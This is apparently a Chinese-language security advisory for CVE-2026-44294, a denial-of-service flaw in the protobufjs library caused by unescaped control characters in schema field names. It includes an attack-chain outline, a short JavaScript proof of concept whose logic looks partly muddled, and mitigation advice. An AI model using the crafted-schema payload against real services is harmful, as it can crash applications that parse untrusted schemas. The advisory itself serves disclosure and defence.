CVE-2026-44294 CVSS 5.3 中危

CVE-2026-44294 protobufjs控制字符未转义漏洞

披露日期: 2026-05-13

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-44294

漏洞类型

拒绝服务

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

protobufjs

漏洞概述

protobufjs在7.5.6和8.0.2之前的版本存在安全漏洞。由于在生成JavaScript属性访问器时未对架构控制的字段名中的控制字符进行转义，攻击者可构造特制的schema或JSON描述符，导致生成的编码、解码、验证或转换函数在编译期间失败。

技术细节

该漏洞源于protobufjs在将protobuf定义编译为JavaScript函数时，未能正确处理输入schema中的字段名和oneof名称。当字段名包含特定的控制字符（如换行符、空字符等）时，这些字符未被转义就直接嵌入到了生成的函数体内。如果攻击者上传或提供一个包含恶意控制字符的protobuf schema或JSON描述符，protobufjs在尝试生成对应的encode、decode、verify或conversion函数时，会解析无效的JavaScript代码语法，导致编译过程抛出异常或失败。这主要影响了依赖protobufjs动态解析不可信schema的应用场景，可能被利用来进行拒绝服务攻击。

攻击链分析

STEP 1

步骤1

攻击者识别目标系统使用了受影响版本的protobufjs库，并且该系统接受并处理外部的protobuf schema或JSON描述符。

STEP 2

步骤2

攻击者构造包含特殊控制字符（如换行符）的恶意protobuf schema文件或JSON对象。

STEP 3

步骤3

攻击者将恶意schema发送给目标系统，诱导protobufjs库对其进行解析和编译。

STEP 4

步骤4

protobufjs在生成JavaScript函数代码时，未转义控制字符，导致生成的代码语法错误，编译过程失败。

STEP 5

步骤5

目标应用程序因编译错误而崩溃或无法正常处理数据，导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// PoC for CVE-2026-44294
// This PoC demonstrates the failure to compile when a control character is present in the field name.

const protobuf = require("protobufjs");

// A crafted schema with a newline character in the field name
const maliciousSchema = `
    syntax = "proto3";
    package test;
    message TestMessage {
        string malicious_field\n = 1; // Control character \n embedded
    }
`;

try {
    // Attempt to parse and compile the schema
    const root = protobuf.parse(maliciousSchema).root;
    const TestMessage = root.lookupType("test.TestMessage");
    
    // This compilation step will fail due to unescaped character
    console.log("Schema compiled successfully (Vulnerable if this prints)");
} catch (e) {
    console.error("Exploit successful: Compilation failed due to unescaped control character.");
    console.error(e);
}

影响范围

protobufjs < 7.5.6

protobufjs >= 8.0.0, < 8.0.2

防御指南

临时缓解措施

如果无法立即升级，建议在应用层面对输入的protobuf schema或JSON描述符实施严格的输入验证。确保解析的字段名仅包含合法的字符（如字母、数字和下划线），并在传递给protobufjs编译器之前剔除所有控制字符。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表